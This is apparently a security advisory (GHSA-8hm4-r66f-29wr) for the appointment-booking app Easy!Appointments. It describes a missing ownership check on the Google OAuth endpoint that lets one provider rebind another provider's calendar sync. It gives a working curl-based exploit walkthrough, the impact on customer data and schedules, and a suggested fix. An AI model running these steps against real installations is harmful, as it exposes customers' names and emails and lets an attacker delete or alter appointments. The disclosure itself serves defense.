Advisory

GHSA-8hm4-r66f-29wr

Details, part 2 of 2. The advisory

Details

  1. Log in as the attacker provider into a dedicated cookie jar:
   export ATTACKER_JAR=/tmp/attacker.cookies
   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "username=mallory" \
     --data-urlencode "password=Attacker-pw-1" > /dev/null

Exploit

  1. The attacker, logged in as a regular provider with id $ATTACKER_ID, points /google/oauth/ at the victim provider's id $VICTIM_ID:
   curl -si -b $ATTACKER_JAR "http://localhost/index.php/google/oauth/$VICTIM_ID" | head -5

Expected: HTTP/1.1 302 Found with Location: https://accounts.google.com/o/oauth2/auth?... - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6=="ea_session"{print $7}' $ATTACKER_JAR) shows oauth_provider_id|s:1:"<VICTIM_ID>" appended to the attacker's session data alongside their own user_id|i:<ATTACKER_ID>.

  1. The attacker copies the ea_session cookie from $ATTACKER_JAR into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to http://localhost/index.php/google/oauth_callback?code=... and the app exchanges the code for an access + refresh token.
  1. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's ea_user_settings:
   docker compose exec -T mysql mysql -uuser -ppassword easyappointments \
     -e "SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')"

Expected: google_sync = 1, google_token = {"access_token":"...","refresh_token":"..."} (attacker's), google_calendar = primary.

  1. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies)
   curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies)
   curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "post_data[manage_mode]=false" \
     --data-urlencode "post_data[appointment][id_users_provider]=$VICTIM_ID" \
     --data-urlencode "post_data[appointment][id_services]=1" \
     --data-urlencode "post_data[appointment][start_datetime]=2026-06-01 10:00:00" \
     --data-urlencode "post_data[appointment][end_datetime]=2026-06-01 10:30:00" \
     --data-urlencode "post_data[customer][first_name]=Carol" \
     --data-urlencode "post_data[customer][last_name]=Victim" \
     --data-urlencode "post_data[customer][email][email protected]"

Expected: the attacker's Google calendar receives a new event whose title is the service name, with Carol Victim <[email protected]> listed as an attendee.

Impact

  • Confidentiality: Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (Google_sync.php:184-189).
  • Integrity: Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next Console::sync removes the local row (Google.php:186-191).
  • Integrity: Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (Google.php:209-254).

Suggestions to fix

> _This has not been tested - it is illustrative only._

Reject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate select_google_calendar and disable_provider_sync already use.

 public function oauth(string $provider_id): void
 {
     if (!$this->session->userdata('user_id')) {
         show_error('Forbidden', 403);
     }

+    if (cannot('edit', PRIV_USERS) && (int) session('user_id') !== (int) $provider_id) {
+        abort(403, 'Forbidden');
+    }
+
     // Store the provider id for use on the callback function.
     session(['oauth_provider_id' => $provider_id]);

     // Redirect browser to google user content page.
     header('Location: ' . $this->google_sync->get_auth_url());
 }

Credit

Dredsen, 2026.

Sources & licences